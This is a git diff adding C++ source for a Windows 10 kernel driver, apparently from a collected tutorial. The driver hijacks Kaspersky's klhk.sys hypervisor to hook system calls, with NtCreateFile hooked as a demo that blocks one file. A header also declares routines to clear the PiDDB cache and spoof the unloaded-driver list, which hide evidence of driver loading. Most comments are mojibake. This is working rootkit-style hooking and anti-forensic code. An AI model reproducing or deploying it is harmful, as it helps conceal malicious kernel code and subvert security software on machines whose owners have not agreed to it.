SystemEntropyInterruptTimingInformation = 0x83, + SystemConsoleInformation = 0x84, + SystemPlatformBinaryInformation = 0x85, + SystemThrottleNotificationInformation = 0x86, + SystemHypervisorProcessorCountInformation = 0x87, + SystemDeviceDataInformation = 0x88, + SystemDeviceDataEnumerationInformation = 0x89, + SystemMemoryTopologyInformation = 0x8a, + SystemMemoryChannelInformation = 0x8b, + SystemBootLogoInformation = 0x8c, + SystemProcessorPerformanceInformationEx = 0x8d, + SystemSpare0 = 0x8e, + SystemSecureBootPolicyInformation = 0x8f, + SystemPageFileInformationEx = 0x90, + SystemSecureBootInformation = 0x91, + SystemEntropyInterruptTimingRawInformation = 0x92, + SystemPortableWorkspaceEfiLauncherInformation = 0x93, + SystemFullProcessInformation = 0x94, + SystemKernelDebuggerInformationEx = 0x95, + SystemBootMetadataInformation = 0x96, + SystemSoftRebootInformation = 0x97, + SystemElamCertificateInformation = 0x98, + SystemOfflineDumpConfigInformation = 0x99, + SystemProcessorFeaturesInformation = 0x9a, + SystemRegistryReconciliationInformation = 0x9b, + MaxSystemInfoClass = 0x9c, +} SYSTEM_INFORMATION_CLASS; + +/* */ +typedef struct _PIDDB_INFO +{ + PERESOURCE lock; + PRTL_AVL_TABLE table; +}PIDDB_INFO, *PPIDDB_INFO; + +/* */ +typedef struct _PiDDB_CACHE_ENTRY +{ + LIST_ENTRY List; + UNICODE_STRING DriverName; + ULONG TimeDateStamp; + NTSTATUS LoadStatus; + char _0x0028[16]; // data from the shim engine, or uninitialized memory for custom drivers +}PiDDB_CACHE_ENTRY, *PPiDDB_CACHE_ENTRY; + +/* */ +typedef struct _MM_UNLOADED_DRIVER +{ + UNICODE_STRING Name; + PVOID ModuleStart; + PVOID ModuleEnd; + ULONG64 UnloadTime; +} MM_UNLOADED_DRIVER, *PMM_UNLOADED_DRIVER; + +/* Щʹ */ +EXTERN_C NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT PULONG ReturnLength OPTIONAL); + +EXTERN_C NTSYSAPI PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader(IN PVOID ModuleAddress); + +/* Ը */ +#define printfs(x, ...) DbgPrintEx(0, 0, x, __VA_ARGS__) + +/* ȡںģĻַ */ +PVOID64 get_kernel_mode_base(PULONG64 size); + +/* ڴƥ */ +PVOID64 search_pattern(PCUCHAR pattern, UCHAR wildcard, ULONG_PTR len, PVOID64 base, ULONG_PTR size, INT index); + +/* ɨ */ +PVOID64 scan_section(PCCHAR section, PCUCHAR pattern, UCHAR wildcard, ULONG_PTR len, PVOID64 base); + +/* λPiddb */ +VOID locate_piddb(PPIDDB_INFO info); + +/* Եַ */ +PVOID64 resolve_relative_address(PVOID64 Instruction, ULONG offset, ULONG size); + +/* piddb */ +BOOLEAN clear_piddb_cache(UNICODE_STRING name, ULONG stamp); + +/* ƥ */ +BOOLEAN data_compare(BYTE* data, BYTE* mask, CHAR* str); + +/* ģʽ */ +DWORD64 find_pattern(DWORD64 addr, DWORD64 len, BYTE* mask, CHAR* str); + +/* жб */ +VOID spoof_unload_driver_list(); diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/hooks.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/hooks.cpp" new file mode 100644 index 0000000..549dacf --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/hooks.cpp" @@ -0,0 +1,91 @@ +#include "hooks.hpp" + +using type_NtCreateFile = NTSTATUS(*)( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength); + +type_NtCreateFile f_NtCreateFile = nullptr; + +NTSTATUS NTAPI MyNtCreateFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_reads_bytes_opt_(EaLength) PVOID EaBuffer, + _In_ ULONG EaLength) +{ + // ж + if (ObjectAttributes + && ObjectAttributes->ObjectName + && ObjectAttributes->ObjectName->Buffer) + { + // ȡļ + const auto name = ObjectAttributes->ObjectName->Buffer; + + // ж + if (wcsstr(name, L"you_wont_open_this.txt")) + return STATUS_ACCESS_DENIED; + } + + // ԭʼ + return f_NtCreateFile(FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize, + FileAttributes, ShareAccess, CreateDisposition, CreateOptions, EaBuffer, EaLength); +} + +bool hooks::initialize() +{ + if (klhk::is_klhk_loaded() == false) + { + printfs("klhkδ"); + return false; + } + + if (klhk::initialize() == false) + { + printfs("ʼʧ"); + return false; + } + + if (klhk::hvm_init() == false) + { + printfs("hvmʼʧ"); + return false; + } + + return true; +} + +bool hooks::start_all_hook() +{ + bool state = true; + + state &= klhk::hook_ssdt_routine(SSDT_Index::Win10_20H1::NtCreateFile, MyNtCreateFile, reinterpret_cast(&f_NtCreateFile)); + + return state; +} + +bool hooks::start_all_un_hook() +{ + bool state = true; + + if (klhk::is_klhk_loaded()) + { + state &= klhk::unhook_ssdt_routine(SSDT_Index::Win10_20H1::NtCreateFile, f_NtCreateFile); + } + + return state; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/hooks.hpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/hooks.hpp" new file mode 100644 index 0000000..4a7b9b7 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/hooks.hpp" @@ -0,0 +1,16 @@ +#pragma once + +#include "ssdt_index.hpp" +#include "klhk.hpp" + +namespace hooks +{ + // ʼ + bool initialize(); + + // all hook + bool start_all_hook(); + + // all unhook + bool start_all_un_hook(); +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/klhk.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/klhk.cpp" new file mode 100644 index 0000000..bbeb73f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/klhk.cpp" @@ -0,0 +1,204 @@ +#include "klhk.hpp" + +f_set_hvm_event set_hvm_event = nullptr; +void*** system_dispatch_array = nullptr; +unsigned int* ssdt_service_count = nullptr; +unsigned int* shadow_ssdt_service_count = nullptr; +unsigned int* provider = nullptr; + +bool klhk::is_klhk_loaded() +{ + const auto entry = modules::get_ldr_data_by_name(L"klhk.sys"); + return entry != nullptr; +} + +bool klhk::initialize() +{ + // λSetHvmEvent + set_hvm_event = reinterpret_cast(utils::find_pattern_km(L"klhk.sys", ".text", "\x48\x83\xEC\x38\x48\x83\x3D", "xxxxxxx")); + if (!set_hvm_event) + return false; + + // λklhk + auto presult = utils::find_pattern_km(L"klhk.sys", "_hvmcode", "\x4C\x8D\x0D\x00\x00\x00\x00\x4D", "xxx????x"); + if (!presult) + return false; + + // ϵͳַ + system_dispatch_array = reinterpret_cast(presult + *reinterpret_cast(presult + 0x3) + 0x7); + + // λssdt + presult = utils::find_pattern_km(L"klhk.sys", ".text", "\x3B\x1D\x00\x00\x00\x00\x73\x56", "xx????xx"); + if (!presult) + return false; + + // ssdt + ssdt_service_count = reinterpret_cast(presult + *reinterpret_cast(presult + 0x2) + 0x6); + + // λshadow ssdt + presult = utils::find_pattern_km(L"klhk.sys", ".text", "\x89\x05\x00\x00\x00\x00\x8B\xFB", "xx????xx"); + if (!presult) + return false; + + // shadow ssdt + shadow_ssdt_service_count = reinterpret_cast(presult + *reinterpret_cast(presult + 0x2) + 0x6); + + // λṩ + presult = utils::find_pattern_km(L"klhk.sys", ".text", "\x39\x2D\x00\x00\x00\x00\x75", "xx????x"); + if (!presult) + return false; + + // ṩ + provider = reinterpret_cast(presult + *reinterpret_cast(presult + 2) + 0x6); + + return true; +} + +bool klhk::hvm_init() +{ + // ״̬ж + if (!provider || !set_hvm_event) + return false; + + *provider = 4; + + return NT_SUCCESS(set_hvm_event()); +} + +unsigned int klhk::get_svc_count_ssdt() +{ + return ssdt_service_count ? *ssdt_service_count : 0; +} + +unsigned int klhk::get_svc_count_shadow_ssdt() +{ + return shadow_ssdt_service_count ? *shadow_ssdt_service_count : 0; +} + +bool klhk::hook_ssdt_routine(ULONG index, void* dest, void** poriginal) +{ + // ж + if (!system_dispatch_array || !dest || !poriginal) + return false; + + // ȡssdt + const auto svc_count = get_svc_count_ssdt(); + + // ssdtж + if (!svc_count || index >= svc_count) + return false; + + // ַʵhook + *poriginal = *system_dispatch_array[index]; + *system_dispatch_array[index] = dest; + + return true; +} + +bool klhk::unhook_ssdt_routine(ULONG index, void* original) +{ + // ж + if (!system_dispatch_array || !original) + return false; + + // ȡssdt + const auto svc_count = get_svc_count_ssdt(); + + // ssdt͵ַж + if (!svc_count || index >= svc_count || *system_dispatch_array[index] == original) + return false; + + // ԭַʵֽhook + *system_dispatch_array[index] = original; + + return true; +} + +bool klhk::hook_shadow_ssdt_routine(ULONG index, void* dest, void** poriginal) +{ + // ж + if (!system_dispatch_array || !dest || !poriginal) + return false; + + // ȡssdtshadow ssdt + const auto svc_count = get_svc_count_ssdt(), svc_count_shadow_ssdt = get_svc_count_shadow_ssdt(); + if (!svc_count || !svc_count_shadow_ssdt) + return false; + + // ַ + const auto index_dispatch_table = (index - 0x1000) + svc_count; + + // ȡַ + const auto dispatch_table_limit = svc_count + svc_count_shadow_ssdt; + + // Чж + if (index_dispatch_table >= dispatch_table_limit) + return false; + + // ַʵhook + *poriginal = *system_dispatch_array[index_dispatch_table]; + *system_dispatch_array[index_dispatch_table] = dest; + + return true; +} + +bool klhk::unhook_shadow_ssdt_routine(ULONG index, void* original) +{ + // ж + if (!system_dispatch_array || !original) + return false; + + // ȡssdtshadow ssdt + const auto svc_count = get_svc_count_ssdt(), svc_count_shadow_ssdt = get_svc_count_shadow_ssdt(); + if (!svc_count || !svc_count_shadow_ssdt) + return nullptr; + + // ַ + const auto index_dispatch_table = (index - 0x1000) + svc_count; + + // ȡַ + const auto dispatch_table_limit = svc_count + svc_count_shadow_ssdt; + + // ЧԺ͵ַж + if (index_dispatch_table >= dispatch_table_limit || *system_dispatch_array[index_dispatch_table] == original) + return false; + + // ԭַ + *system_dispatch_array[index_dispatch_table] = original; + + return true; +} + +void* klhk::get_ssdt_routine(ULONG index) +{ + // ״̬ж + if (!system_dispatch_array) + return nullptr; + + // ȡssdt + const auto svc_count = get_svc_count_ssdt(); + + // صַ + return (svc_count && index < svc_count) ? *system_dispatch_array[index] : nullptr; +} + +void* klhk::get_shadow_ssdt_routine(ULONG index) +{ + // ״̬ж + if (!system_dispatch_array) + return false; + + // ȡssdtshadow ssdt + const auto svc_count = get_svc_count_ssdt(), svc_count_shadow_ssdt = get_svc_count_shadow_ssdt(); + if (!svc_count || !svc_count_shadow_ssdt) + return nullptr; + + // ַ + const auto index_dispatch_table = (index - 0x1000) + svc_count; + + // ַ + const auto dispatch_table_limit = svc_count + svc_count_shadow_ssdt; + + // صַ + return (index_dispatch_table < dispatch_table_limit) ? *system_dispatch_array[index_dispatch_table] : nullptr; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/klhk.hpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/klhk.hpp" new file mode 100644 index 0000000..a246f47 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/klhk.hpp" @@ -0,0 +1,44 @@ +#pragma once + +#include "module.hpp" + +#include +#include + +using f_set_hvm_event = NTSTATUS(*)(); + +namespace klhk +{ + // жklhkǷ + bool is_klhk_loaded(); + + // ʼ + bool initialize(); + + // hvmʼ + bool hvm_init(); + + // ȡssdt + unsigned int get_svc_count_ssdt(); + + // ȡshadow ssdt + unsigned int get_svc_count_shadow_ssdt(); + + // ҹָssdt + bool hook_ssdt_routine(ULONG index, void* dest, void** poriginal); + + // ԭָssdt + bool unhook_ssdt_routine(ULONG index, void* original); + + // ҹָshadow ssdt + bool hook_shadow_ssdt_routine(ULONG index, void* dest, void** poriginal); + + // ԭָshadow ssdt + bool unhook_shadow_ssdt_routine(ULONG index, void* original); + + // ȡָssdtַ + void* get_ssdt_routine(ULONG index); + + // ȡָshadow ssdtַ + void* get_shadow_ssdt_routine(ULONG index); +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/klhk.sys" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/klhk.sys" new file mode 100644 index 0000000..83565b9 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/klhk.sys" differ diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/main.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/main.cpp" new file mode 100644 index 0000000..d851b41 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/main.cpp" @@ -0,0 +1,35 @@ +#include "hooks.hpp" + +/* */ +EXTERN_C VOID DriverUnload(PDRIVER_OBJECT object) +{ + // δ + UNREFERENCED_PARAMETER(object); + + // unhookȫ + hooks::start_all_un_hook(); + + // ӳ˳ + LARGE_INTEGER LargeInteger{ }; + LargeInteger.QuadPart = -10000000; + KeDelayExecutionThread(KernelMode, FALSE, &LargeInteger); + + printfs("ж"); +} + +/* */ +EXTERN_C NTSTATUS DriverEntry(PDRIVER_OBJECT object, PUNICODE_STRING reg) +{ + // δ + UNREFERENCED_PARAMETER(reg); + + // жغ + object->DriverUnload = DriverUnload; + + if (hooks::initialize()) // ʼ + if (hooks::start_all_hook()) // hookȫ + printfs("ȫhook"); + + printfs(""); + return STATUS_SUCCESS; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/module.cpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/module.cpp" new file mode 100644 index 0000000..93c0888 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/module.cpp" @@ -0,0 +1,47 @@ +#include "module.hpp" + +PKLDR_DATA_TABLE_ENTRY modules::get_ldr_data_by_name(const wchar_t* szmodule) +{ + // ָ + PKLDR_DATA_TABLE_ENTRY ldr_entry = nullptr; + + // ʼַ + UNICODE_STRING mod{ }; + RtlInitUnicodeString(&mod, szmodule); + + // Ϊ + if (!PsLoadedModuleList) + return ldr_entry; + + // ˫ + auto current_ldr_entry = reinterpret_cast(PsLoadedModuleList->Flink); + while (reinterpret_cast(current_ldr_entry) != PsLoadedModuleList) + { + // ʾ + printfs("name : %ws \t base : %x \t entry : %x ", + current_ldr_entry->FullDllName.Buffer, + current_ldr_entry->DllBase, + current_ldr_entry->EntryPoint); + + // ҵĿ + if (!RtlCompareUnicodeString(¤t_ldr_entry->BaseDllName, &mod, TRUE)) + { + ldr_entry = current_ldr_entry; + break; + } + + // һ + current_ldr_entry = reinterpret_cast(current_ldr_entry->InLoadOrderLinks.Flink); + } + + return ldr_entry; +} + +uintptr_t modules::get_kernel_module_base(const wchar_t* szmodule) +{ + // ȡLDR + const auto* ldr_entry = get_ldr_data_by_name(szmodule); + + // ȡַ + return ldr_entry ? reinterpret_cast(ldr_entry->DllBase) : 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/module.hpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/module.hpp" new file mode 100644 index 0000000..a7934bd --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/module.hpp" @@ -0,0 +1,42 @@ +#pragma once + +#include "util.hpp" + +#include + +/* LDRṹ */ +typedef struct _KLDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + void *ExceptionTable; + unsigned int ExceptionTableSize; + void *GpValue; + void *NonPagedDebugInfo; + void *DllBase; //ַ + void *EntryPoint; //ڵ + unsigned int SizeOfImage; //ӳС + UNICODE_STRING FullDllName; //ȫ· + UNICODE_STRING BaseDllName; // + unsigned int Flags; + unsigned __int16 LoadCount; + unsigned __int16 u1; + void *SectionPointer; + unsigned int CheckSum; + unsigned int CoverageSectionSize; + void *CoverageSection; + void *LoadedImports; + void *Spare; + unsigned int SizeOfImageNotRounded; + unsigned int TimeDateStamp; +} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; + +namespace modules +{ + /* ƻȡLDRģ */ + PKLDR_DATA_TABLE_ENTRY get_ldr_data_by_name(const wchar_t* szmodule); + + /* ƻȡַ */ + uintptr_t get_kernel_module_base(const wchar_t* szmodule); +} + +EXTERN_C PLIST_ENTRY PsLoadedModuleList; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/ssdt_index.hpp" "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/ssdt_index.hpp" new file mode 100644 index 0000000..39f621b --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\224\266\351\233\206] Win10 Kernel Driver/klhk ssdt hook [\345\206\205\346\240\270\346\214\202\351\222\251]/ssdt_index.hpp" @@ -0,0 +1,483 @@ +#pragma once + +/* SSDTĺ */ +namespace SSDT_Index +{ + namespace Win10_20H1 + { + enum + { + NtAccessCheck = 0x000, + NtWorkerFactoryWorkerReady = 0x001, + NtAcceptConnectPort = 0x002, + NtMapUserPhysicalPagesScatter = 0x003, + NtWaitForSingleObject = 0x004, + NtCallbackReturn = 0x005, + NtReadFile = 0x006, + NtDeviceIoControlFile = 0x007, + NtWriteFile = 0x008, + NtRemoveIoCompletion = 0x009, + NtReleaseSemaphore = 0x00A, + NtReplyWaitReceivePort = 0x00B, + NtReplyPort = 0x00C, + NtSetInformationThread = 0x00D, + NtSetEvent = 0x00E, + NtClose = 0x00F, + NtQueryObject = 0x010, + NtQueryInformationFile = 0x011, + NtOpenKey = 0x012, + NtEnumerateValueKey = 0x013, + NtFindAtom = 0x014, + NtQueryDefaultLocale = 0x015, + NtQueryKey = 0x016, + NtQueryValueKey = 0x017, + NtAllocateVirtualMemory = 0x018, + NtQueryInformationProcess = 0x019, + NtWaitForMultipleObjects32 = 0x01A, + NtWriteFileGather = 0x01B, + NtSetInformationProcess = 0x01C, + NtCreateKey = 0x01D, + NtFreeVirtualMemory = 0x01E, + NtImpersonateClientOfPort = 0x01F, + NtReleaseMutant = 0x020, + NtQueryInformationToken = 0x021, + NtRequestWaitReplyPort = 0x022, + NtQueryVirtualMemory = 0x023, + NtOpenThreadToken = 0x024, + NtQueryInformationThread = 0x025, + NtOpenProcess = 0x026, + NtSetInformationFile = 0x027, + NtMapViewOfSection = 0x028, + NtAccessCheckAndAuditAlarm = 0x029, + NtUnmapViewOfSection = 0x02A, + NtReplyWaitReceivePortEx = 0x02B, + NtTerminateProcess = 0x02C, + NtSetEventBoostPriority = 0x02D, + NtReadFileScatter = 0x02E, + NtOpenThreadTokenEx = 0x02F, + NtOpenProcessTokenEx = 0x030, + NtQueryPerformanceCounter = 0x031, + NtEnumerateKey = 0x032, + NtOpenFile = 0x033, + NtDelayExecution = 0x034, + NtQueryDirectoryFile = 0x035, + NtQuerySystemInformation = 0x036, + NtOpenSection = 0x037, + NtQueryTimer = 0x038, + NtFsControlFile = 0x039, + NtWriteVirtualMemory = 0x03A, + NtCloseObjectAuditAlarm = 0x03B, + NtDuplicateObject = 0x03C, + NtQueryAttributesFile = 0x03D, + NtClearEvent = 0x03E, + NtReadVirtualMemory = 0x03F, + NtOpenEvent = 0x040, + NtAdjustPrivilegesToken = 0x041, + NtDuplicateToken = 0x042, + NtContinue = 0x043, + NtQueryDefaultUILanguage = 0x044, + NtQueueApcThread = 0x045, + NtYieldExecution = 0x046, + NtAddAtom = 0x047, + NtCreateEvent = 0x048, + NtQueryVolumeInformationFile = 0x049, + NtCreateSection = 0x04A, + NtFlushBuffersFile = 0x04B, + NtApphelpCacheControl = 0x04C, + NtCreateProcessEx = 0x04D, + NtCreateThread = 0x04E, + NtIsProcessInJob = 0x04F, + NtProtectVirtualMemory = 0x050, + NtQuerySection = 0x051, + NtResumeThread = 0x052, + NtTerminateThread = 0x053, + NtReadRequestData = 0x054, + NtCreateFile = 0x055, + NtQueryEvent = 0x056, + NtWriteRequestData = 0x057, + NtOpenDirectoryObject = 0x058, + NtAccessCheckByTypeAndAuditAlarm = 0x059, + NtQuerySystemTime = 0x05A, + NtWaitForMultipleObjects = 0x05B, + NtSetInformationObject = 0x05C, + NtCancelIoFile = 0x05D, + NtTraceEvent = 0x05E, + NtPowerInformation = 0x05F, + NtSetValueKey = 0x060, + NtCancelTimer = 0x061, + NtSetTimer = 0x062, + NtAccessCheckByType = 0x063, + NtAccessCheckByTypeResultList = 0x064, + NtAccessCheckByTypeResultListAndAuditAlarm = 0x065, + NtAccessCheckByTypeResultListAndAuditAlarmByHandle = 0x066, + NtAcquireCrossVmMutant = 0x067, + NtAcquireProcessActivityReference = 0x068, + NtAddAtomEx = 0x069, + NtAddBootEntry = 0x06A, + NtAddDriverEntry = 0x06B, + NtAdjustGroupsToken = 0x06C, + // NtNotImp = 0x06D, // STATUS_NOT_IMPLEMENTED + NtAlertResumeThread = 0x06E, + NtAlertThread = 0x06F, + NtAlertThreadByThreadId = 0x070, + NtAllocateLocallyUniqueId = 0x071, + NtAllocateReserveObject = 0x072, + NtAllocateUserPhysicalPages = 0x073, + NtAllocateUserPhysicalPagesEx = 0x074, + NtAllocateUuids = 0x075, + NtAllocateVirtualMemoryEx = 0x076, + NtAlpcAcceptConnectPort = 0x077, + NtAlpcCancelMessage = 0x078, + NtAlpcConnectPort = 0x079, + NtAlpcConnectPortEx = 0x07A, + NtAlpcCreatePort = 0x07B, + NtAlpcCreatePortSection = 0x07C, + NtAlpcCreateResourceReserve = 0x07D, + NtAlpcCreateSectionView = 0x07E, + NtAlpcCreateSecurityContext = 0x07F, + NtAlpcDeletePortSection = 0x080, + NtAlpcDeleteResourceReserve = 0x081, + NtAlpcDeleteSectionView = 0x082, + NtAlpcDeleteSecurityContext = 0x083, + NtAlpcDisconnectPort = 0x084, + NtAlpcImpersonateClientContainerOfPort = 0x085, + NtAlpcImpersonateClientOfPort = 0x086, + NtAlpcOpenSenderProcess = 0x087, + NtAlpcOpenSenderThread = 0x088, + NtAlpcQueryInformation = 0x089, + NtAlpcQueryInformationMessage = 0x08A, + NtAlpcRevokeSecurityContext = 0x08B, + NtAlpcSendWaitReceivePort = 0x08C, + NtAlpcSetInformation = 0x08D, + NtAreMappedFilesTheSame = 0x08E, + NtAssignProcessToJobObject = 0x08F, + NtAssociateWaitCompletionPacket = 0x090, + NtCallEnclave = 0x091, + NtCancelIoFileEx = 0x092, + NtCancelSynchronousIoFile = 0x093, + NtCancelTimer2 = 0x094, + NtCancelWaitCompletionPacket = 0x095, + NtCommitComplete = 0x096, + NtCommitEnlistment = 0x097, + NtCommitRegistryTransaction = 0x098, + NtCommitTransaction = 0x099, + NtCompactKeys = 0x09A, + NtCompareObjects = 0x09B, + NtCompareSigningLevels = 0x09C, + NtCompareTokens = 0x09D, + ArbPreprocessEntry = 0x09E, + NtCompressKey = 0x09F, + NtConnectPort = 0x0A0, + NtContinueEx = 0x0A1, + NtConvertBetweenAuxiliaryCounterAndPerformanceCounter = 0x0A2, + NtCreateCrossVmEvent = 0x0A3, + NtCreateCrossVmMutant = 0x0A4, + NtCreateDebugObject = 0x0A5, + NtCreateDirectoryObject = 0x0A6, + NtCreateDirectoryObjectEx = 0x0A7, + NtCreateEnclave = 0x0A8, + NtCreateEnlistment = 0x0A9, + // NtNotImp = 0x0AA, // STATUS_NOT_IMPLEMENTED + NtCreateIRTimer = 0x0AB, + NtCreateIoCompletion = 0x0AC, + NtCreateJobObject = 0x0AD, + ArbAddReserved = 0x0AE, + NtCreateKeyTransacted = 0x0AF, + NtCreateKeyedEvent = 0x0B0, + NtCreateLowBoxToken = 0x0B1, + NtCreateMailslotFile = 0x0B2, + NtCreateMutant = 0x0B3, + NtCreateNamedPipeFile = 0x0B4, + NtCreatePagingFile = 0x0B5, + NtCreatePartition = 0x0B6, + NtCreatePort = 0x0B7, + NtCreatePrivateNamespace = 0x0B8, + NtCreateProcess = 0x0B9, + NtCreateProfile = 0x0BA, + NtCreateProfileEx = 0x0BB, + NtCreateRegistryTransaction = 0x0BC, + NtCreateResourceManager = 0x0BD, + NtCreateSectionEx = 0x0BE, + NtCreateSemaphore = 0x0BF, + NtCreateSymbolicLinkObject = 0x0C0, + NtCreateThreadEx = 0x0C1, + NtCreateTimer = 0x0C2, + NtCreateTimer2 = 0x0C3, + NtCreateToken = 0x0C4, + NtCreateTokenEx = 0x0C5, + NtCreateTransaction = 0x0C6, + NtCreateTransactionManager = 0x0C7, + NtCreateUserProcess = 0x0C8, + NtCreateWaitCompletionPacket = 0x0C9, + NtCreateWaitablePort = 0x0CA, + NtCreateWnfStateName = 0x0CB, + NtCreateWorkerFactory = 0x0CC, + NtDebugActiveProcess = 0x0CD, + NtDebugContinue = 0x0CE, + NtDeleteAtom = 0x0CF, + NtDeleteBootEntry = 0x0D0, + NtDeleteDriverEntry = 0x0D1, + NtDeleteFile = 0x0D2, + NtDeleteKey = 0x0D3, + NtDeleteObjectAuditAlarm = 0x0D4, + NtDeletePrivateNamespace = 0x0D5, + NtDeleteValueKey = 0x0D6, + NtDeleteWnfStateData = 0x0D7, + NtDeleteWnfStateName = 0x0D8, + // NtNotImp = 0x0D9, // STATUS_NOT_IMPLEMENTED + NtDisableLastKnownGood = 0x0DA, + NtDisplayString = 0x0DB, + NtDrawText = 0x0DC, + NtEnableLastKnownGood = 0x0DD, + NtEnumerateBootEntries = 0x0DE, + NtEnumerateDriverEntries = 0x0DF, + NtEnumerateSystemEnvironmentValuesEx = 0x0E0, + NtEnumerateTransactionObject = 0x0E1, + NtExtendSection = 0x0E2, + NtFilterBootOption = 0x0E3, + NtFilterToken = 0x0E4, + // NtNotImp = 0x0E5, // STATUS_NOT_IMPLEMENTED + NtFlushBuffersFileEx = 0x0E6, + NtFlushInstallUILanguage = 0x0E7, + // NtAlwaysSuccess = 0x0E8, // STATUS_SUCCESS + NtFlushKey = 0x0E9, + NtFlushProcessWriteBuffers = 0x0EA, + NtFlushVirtualMemory = 0x0EB, + // NtAlwaysSuccess = 0x0EC, // STATUS_SUCCESS + NtFreeUserPhysicalPages = 0x0ED, + NtFreezeRegistry = 0x0EE, + NtFreezeTransactions = 0x0EF, + NtGetCachedSigningLevel = 0x0F0, + NtGetCompleteWnfStateSubscription = 0x0F1, + NtGetContextThread = 0x0F2, + NtGetCurrentProcessorNumber = 0x0F3, + NtGetCurrentProcessorNumberEx = 0x0F4, + NtGetDevicePowerState = 0x0F5, + NtGetMUIRegistryInfo = 0x0F6, + 